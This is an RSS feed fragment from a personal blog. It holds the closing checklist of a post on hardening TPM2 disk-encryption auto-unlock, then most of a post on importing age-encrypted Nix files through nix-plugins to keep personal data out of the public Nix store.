we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Conclusion&lt;/h2&gt;
&lt;p&gt;We've successfully carried out a filesystem confusion attack on two completely
different systems to extract their secret volume key, and have seen that the
majority of articles about TPM2 auto-unlock setups are likely vulnerable to
this attack.&lt;/p&gt;
&lt;p&gt;We learned that this problem is not easily fixed, as it requires an additional
verification step that cannot simply be activated on most distributions at
present. It is critical to ensure that there is an unbroken chain of trust from
the bootloader to the actual system.&lt;/p&gt;
&lt;p&gt;Here is a checklist of things to consider when setting up TPM2 auto-unlock:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your kernel and initramfs are both signed and verified (UKI or MOK), or you
are using PCR 9 together with a shim that hashes the images at boot time.&lt;/li&gt;
&lt;li&gt;You have enrolled a LUKS key in the TPM2 on at least PCR 7 (+9 if necessary).&lt;/li&gt;
&lt;li&gt;If you are decrypting multiple devices in the initrd, their decryption order
is deterministic.&lt;/li&gt;
&lt;li&gt;After decryption - and before any user executable is called - the initramfs
verifies the identity of all encrypted disks, preferably by measuring a
derivative of the volume key into PCR 15 for each disk.&lt;/li&gt;
&lt;li&gt;Your initrd's emergency shell (if any) is password-protected.&lt;/li&gt;
&lt;li&gt;Your bootloader does not allow you to alter the kernel command line, or you've
included a PCR used in the LUKS key enrollment that depends on the
kernel command line.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thank you for taking the time to read this article - I hope you found it both
interesting and enjoyable 😊.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you'd like to send me feedback or just reach out, feel free to contact me on
&lt;a rel="external" href="https://matrix.to/#/@oddlama:matrix.org"&gt;Matrix&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Discussion threads for this post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel="external" href="https://news.ycombinator.com/item?id=42733640"&gt;Hacker News&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://www.reddit.com/r/linux/comments/1i2pf38/bypassing_disk_encryption_on_systems_with"&gt;Reddit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Evaluation time secrets in Nix: Importing encrypted nix files</title><pubDate>Sun, 22 Sep 2024 00:00:00 +0000</pubDate><author>Unknown</author><link>https://oddlama.org/blog/evaluation-time-secrets-in-nix/</link><guid>https://oddlama.org/blog/evaluation-time-secrets-in-nix/</guid><description xml:base="https://oddlama.org/blog/evaluation-time-secrets-in-nix/">&lt;p&gt;Dealing with secret values in NixOS is probably one of the first obstacles you come across
when managing a NixOS-based server. In case you are not entirely familiar with the problem,
the main issue is that any values part of a configuration file will inevitably end up
in the nix store under &lt;code&gt;/nix/store/&amp;lt;hash&amp;gt;...&lt;/code&gt;, and all of these paths are world-readable.&lt;/p&gt;
&lt;p&gt;However, there are different kinds of secret values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The classical "true secrets" which might be a private key, password, API token or something similar.
There already are many great solutions to manage these, either by &lt;a rel="external" href="https://colmena.cli.rs/stable/features/keys.html"&gt;uploading them off-channel&lt;/a&gt;
or by storing them in an encrypted form in the nix store via &lt;a rel="external" href="https://github.com/ryantm/agenix"&gt;agenix&lt;/a&gt; or &lt;a rel="external" href="https://github.com/Mic92/sops-nix"&gt;sops-nix&lt;/a&gt;. &lt;sup class="footnote-reference"&gt;&lt;a href="#1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;But then there is also personally identifiable information (PII) like MAC addresses, domain names, your home address, etc. -
and what I would call "weak secrets", like a properly hashed password. I would not want to disclose this information publicly,
although it is not strictly a problem to do so. And having this information in the world-readable Nix store is most likely fine, too.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Usually, we mean the former when referring to secrets, but today we will focus on the latter.
One of the great things about the Nix ecosystem is that many people are willing to share their configuration files
&lt;a rel="external" href="https://github.com/search?q=lang%3Anix"&gt;publicly on GitHub&lt;/a&gt; or on other git forges,
which makes it so convenient to check how other people have &lt;a rel="external" href="https://github.com/search?q=lang%3Anix+%2FvirtualHosts.%22%2F&amp;amp;type=code"&gt;dealt with a particular service&lt;/a&gt; or program.
On the other hand, as soon as a module contains PII, it is often the simplest solution to just remove it from
the public repository and put it into a private one. But this is not without drawbacks as you now have two git repositories
for one project which need to be kept in sync.&lt;/p&gt;
&lt;p&gt;Generally, handling PII with Nix is quite different from handling true secrets simply because we require
the information at evaluation time. There just is no easy way to insert MAC addresses into systemd
or udev configuration files at runtime or to remove a username from your home-manager configuration.
Pretty much everything that doesn't have a &lt;code&gt;passwordFile&lt;/code&gt; (or equivalent) option cannot be offloaded to when
the system is running. We somehow have to make the information available to Nix when we evaluate the config.
So let's have a look at the different ways this is commonly done and how I chose to do it.&lt;/p&gt;
&lt;h2 id="splitting-repositories"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#splitting-repositories" aria-label="Anchor link for: splitting-repositories"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Splitting repositories&lt;/h2&gt;
&lt;p&gt;As mentioned previously, a simple solution to that problem is to just split any sensitive information off to a second repository.
Just from my experience, I would say this is the most common way to deal with it.&lt;/p&gt;
&lt;p&gt;Some people just move all relevant files there, but of course, you can get more sophisticated and have a &lt;code&gt;private/secrets.nix&lt;/code&gt; file
containing only the sensitive stuff. It is both simple and effective but some might find that it is inconvenient to manually
ensure that both repositories are in sync. If you are tracking repository commits via a lock file or &lt;code&gt;flake.lock&lt;/code&gt; for reproducibility,
you will have to make a second commit to the public repository each time.&lt;/p&gt;
&lt;p&gt;I'm not a huge fan of having to maintain two repositories that work like a single repository,
but this is of course my personal preference. If you are searching for a dead simple solution, this is it.&lt;/p&gt;
&lt;h2 id="using-git-crypt"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#using-git-crypt" aria-label="Anchor link for: using-git-crypt"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Using git-crypt&lt;/h2&gt;
&lt;p&gt;So the next idea that comes to mind is to use &lt;a rel="external" href="https://github.com/AGWA/git-crypt"&gt;git-crypt&lt;/a&gt;
to transparently encrypt the relevant files in the repository. The idea behind these tools is to filter files through
a custom tool by utilizing &lt;code&gt;.gitattributes&lt;/code&gt; when they are committed or checked out, which automatically en- or decrypts them accordingly.
Let's say from now on we would want to encrypt everything in &lt;code&gt;secrets/&lt;/code&gt;, then we can do:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; git-crypt init&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; echo &amp;#39;secrets/** filter=git-crypt diff=git-crypt&amp;#39;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; .gitattributes&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; git-crypt add-gpg-user&lt;/span&gt;&lt;span&gt; &amp;lt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt;USER_I&lt;/span&gt;&lt;span&gt;D&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or after checking out the repository somewhere else:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; git-crypt unlock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works pretty well, but you need to remember to unlock git-crypt whenever you clone the repository,
so keep that in mind if you want to build your configuration in a CI. There are also some &lt;a rel="external" href="https://github.com/AGWA/git-crypt?tab=readme-ov-file#limitations"&gt;limitations&lt;/a&gt;
of git-crypt itself. Notably, one &lt;a rel="external" href="https://github.com/AGWA/git-crypt/issues/47#issuecomment-2168132789"&gt;cannot easily delete&lt;/a&gt; old GPG keys or symmetric keys to rotate them.
Of course, an attacker might have access to your public repository history anyway, so revoking access is mostly relevant for future secrets.
Also watch out for issues with third-party git GUIs, which can leave files in an unencrypted state.&lt;/p&gt;
&lt;p&gt;I have used git-crypt before but noticed that I wanted something more direct,
that doesn't require an additional tool and where I could use &lt;a rel="external" href="https://github.com/FiloSottile/age"&gt;age&lt;/a&gt;
instead of GPG, which allows me to reuse the same keys as for agenix.
Only later I found out about &lt;a rel="external" href="https://github.com/vlaci/git-agecrypt"&gt;git-agecrypt&lt;/a&gt; (which is git-crypt with age), and might be a good compromise.
Truthfully, I was also a bit worried about one day accidentally committing some stuff in an unencrypted state after a &lt;code&gt;git-crypt lock&lt;/code&gt; -
although that would've been on me.&lt;/p&gt;
&lt;h2 id="importing-encrypted-nix-files"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#importing-encrypted-nix-files" aria-label="Anchor link for: importing-encrypted-nix-files"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Importing encrypted nix files&lt;/h2&gt;
&lt;p&gt;So ultimately I was searching for a way to solve the problem in Nix by using &lt;code&gt;import&lt;/code&gt; with encrypted .nix files.
Imagine &lt;code&gt;import ./secrets.nix.age&lt;/code&gt; which magically prompts for decryption if necessary. But alas, this
is impossible with pure Nix simply because decryption is fundamentally an impure operation. It always requires
a secondary input (your private key or password) which obviously cannot be known or given to Nix beforehand.
So the only way to achieve this is to add support to Nix itself.&lt;/p&gt;
&lt;p&gt;Luckily, Nix does have a plugin system (kind of)! There is an option for nix called &lt;a rel="external" href="https://nix.dev/manual/nix/2.18/command-ref/conf-file.html#conf-plugin-files"&gt;plugin-files&lt;/a&gt;
which you can put into your &lt;code&gt;nix.conf&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A list of plugin files to be loaded by Nix. Each of these files will be dlopened by Nix, allowing them to affect execution through static initialization. [...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="trying-nix-plugins"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#trying-nix-plugins" aria-label="Anchor link for: trying-nix-plugins"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Trying nix-plugins&lt;/h3&gt;
&lt;p&gt;So by providing a suitable object file, we can inject code into nix. Fortunately, we don't even have to write it
from scratch since there already exists a project called &lt;a rel="external" href="https://github.com/shlevy/nix-plugins"&gt;nix-plugins&lt;/a&gt;
that provides a generic plugin, which:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adds a new nix option called &lt;code&gt;extra-builtins-file&lt;/code&gt; where we can specify a nix file. That file must return an attrset where each member will become a new builtin.&lt;/li&gt;
&lt;li&gt;Actually, the file contains a function that returns an attrset, because we are given some extra stuff to use. Most importantly a function called &lt;code&gt;exec&lt;/code&gt; which we may
use to execute arbitrary commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So a dead simple &lt;code&gt;extra-builtins.nix&lt;/code&gt; file would look like this:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="font-style: italic;"&gt;_args&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; helloWorld&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;Hello World!&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we just have to define the two options &lt;code&gt;plugin-files&lt;/code&gt; and &lt;code&gt;extra-builtins-file&lt;/code&gt; in our nix config.
Since we don't want to enable this system-wide, a much better option is to use &lt;code&gt;NIX_CONFIG&lt;/code&gt; to define and add these
on top of the system's main &lt;code&gt;nix.conf&lt;/code&gt; for this session.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nix build&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --no-link --print-out-paths&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nixpkgs#nix-plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/nix/store/0q842xsb1yddrn8jxi2dm6njry1cxjmd-nix-plugins-14.0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; export NIX_CONFIG=&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt;plugins-files=/nix/store/0q842xsb1yddrn8jxi2dm6njry1cxjmd-nix-plugins-14.0.0/lib/nix/plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt;extra-builtins-file=/absolute/path/to/extra-builtins.nix&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nix repl&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; builtins.extraBuiltins.helloWorld&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;&amp;quot;Hello World!&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nice! But this is nothing special yet, we could have had this before. What's new is that we can access the &lt;code&gt;exec&lt;/code&gt; function from the arguments that were given to us.
This lets us run any program we like. So let's change the example to run &lt;code&gt;echo&lt;/code&gt; instead:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="font-style: italic;"&gt;exec&lt;/span&gt;&lt;span&gt;, ...}: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; helloWorld&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; exec&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/usr/bin/env&amp;quot; &amp;quot;bash&amp;quot; &amp;quot;-c&amp;quot; &amp;quot;echo Hello World&amp;quot;&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But after restarting the repl and evaluating our builtin, we are greeted with an error:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nix repl&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; builtins.extraBuiltins.helloWorld&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; (&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;stack&lt;/span&gt;&lt;span style="color: #98C379;"&gt; trace truncated&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; use&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;--show-trace&amp;#39; to show the full trace&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; error:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; undefined variable &amp;#39;Hello&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; at&lt;/span&gt;&lt;span style="color: #98C379;"&gt; «string»:1:1:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 1&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; Hello&lt;/span&gt;&lt;span style="color: #98C379;"&gt; World&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; ^&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 2&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apparently this is because the result of the &lt;code&gt;exec&lt;/code&gt; command is directly interpreted as nix code!
So &lt;code&gt;exec&lt;/code&gt; is both executing the command and then also executing the result as nix code,
which of course is very handy. To fix the error we just have to provide quotes in the output to make it valid nix code:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="font-style: italic;"&gt;exec&lt;/span&gt;&lt;span&gt;, ...}: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; helloWorld&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; exec&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/usr/bin/env&amp;quot; &amp;quot;bash&amp;quot; &amp;quot;-c&amp;quot; &amp;quot;echo &amp;#39;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&amp;quot;&lt;/span&gt;&lt;span style="color: #98C379;"&gt;Hello World&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&amp;quot;&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nix repl&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; builtins.extraBuiltins.helloWorld&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;&amp;quot;Hello World!&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="importing-secrets-with-nix-plugins"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#importing-secrets-with-nix-plugins" aria-label="Anchor link for: importing-secrets-with-nix-plugins"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Importing secrets with nix-plugins&lt;/h3&gt;
&lt;p&gt;Now we can actually try to create a new function that acts like &lt;code&gt;import&lt;/code&gt; but decrypts the given file first.
Since we can now execute arbitrary code as part of any nix expression, we must be very careful to not break any internal assumptions.
We want to ensure that the encrypted import function is deterministic and only works when given a path primitive,
so it stays pure (ignoring the impurity of the decryption).&lt;/p&gt;
&lt;p&gt;We could now directly call &lt;code&gt;age&lt;/code&gt; or &lt;code&gt;gpg&lt;/code&gt; in our new builtin to perform the decryption,
but since we need to provide a valid nix expression as the output, it may be a better idea
to first call a wrapper script which then outputs a path to the decrypted nix file.
This adds some flexibility where we can later decide to make a version that doesn't directly call &lt;code&gt;import&lt;/code&gt;,
but outputs the decrypted path instead. This may be beneficial when the decrypted file is a NixOS module
which we want to pass to NixOS's &lt;code&gt;imports = [ ... ];&lt;/code&gt;, since it can then add information about the source file
in case any errors occur in that file.&lt;/p&gt;
&lt;p&gt;Later this wrapper can also be used to locally cache the decrypted output
based on the input hash, or to add an interaction-free mode for usage in a CI.
But first, let's get started by defining a new builtin &lt;code&gt;importEncrypted&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="font-style: italic;"&gt;exec&lt;/span&gt;&lt;span&gt;, ...}:&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; let&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; assertMsg&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; pred&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; msg&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; pred&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;throw&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; msg&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt;in&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; importEncrypted&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="font-style: italic;"&gt; identity&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; nixFile&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt; assert&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; assertMsg&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;builtins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;isPath nixFile&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;The file to decrypt must be given as a path to prevent impurity.&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #56B6C2;"&gt; import&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;exec&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span style="color: #98C379;"&gt;./decrypt.sh&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; identity nixFile&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since I'll be using &lt;code&gt;age&lt;/code&gt; to decrypt, the function requires an identity for decryption.
For me, this is just my YubiKey key grab which I use via &lt;a rel="external" href="https://github.com/str4d/age-plugin-yubikey"&gt;age-plugin-yubikey&lt;/a&gt;
but could theoretically also be an SSH key or any other age identity (you could use a &lt;a rel="external" href="https://github.com/Foxboron/age-plugin-tpm"&gt;TPM for example&lt;/a&gt;).
A very simple &lt;code&gt;decrypt.sh&lt;/code&gt; script would work like this:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #56B6C2;"&gt;set&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -euo&lt;/span&gt;&lt;span style="color: #98C379;"&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# create a temporary file&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;"&gt;TMP&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span&gt;$(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;mktemp&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --suff&lt;/span&gt;&lt;span style="color: #98C379;"&gt; .nix&lt;/span&gt;&lt;span&gt;) || {&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; echo&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;Failed to create a temporary file to decrypt &amp;#39;&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;$2&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;#39;!&amp;quot;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;amp;2;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; exit&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# decrypt input (if this fails, the script exits with an unsuccessful code causing an evaluation error)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #56B6C2;"&gt;umask&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 077&lt;/span&gt;&lt;/span&gt;
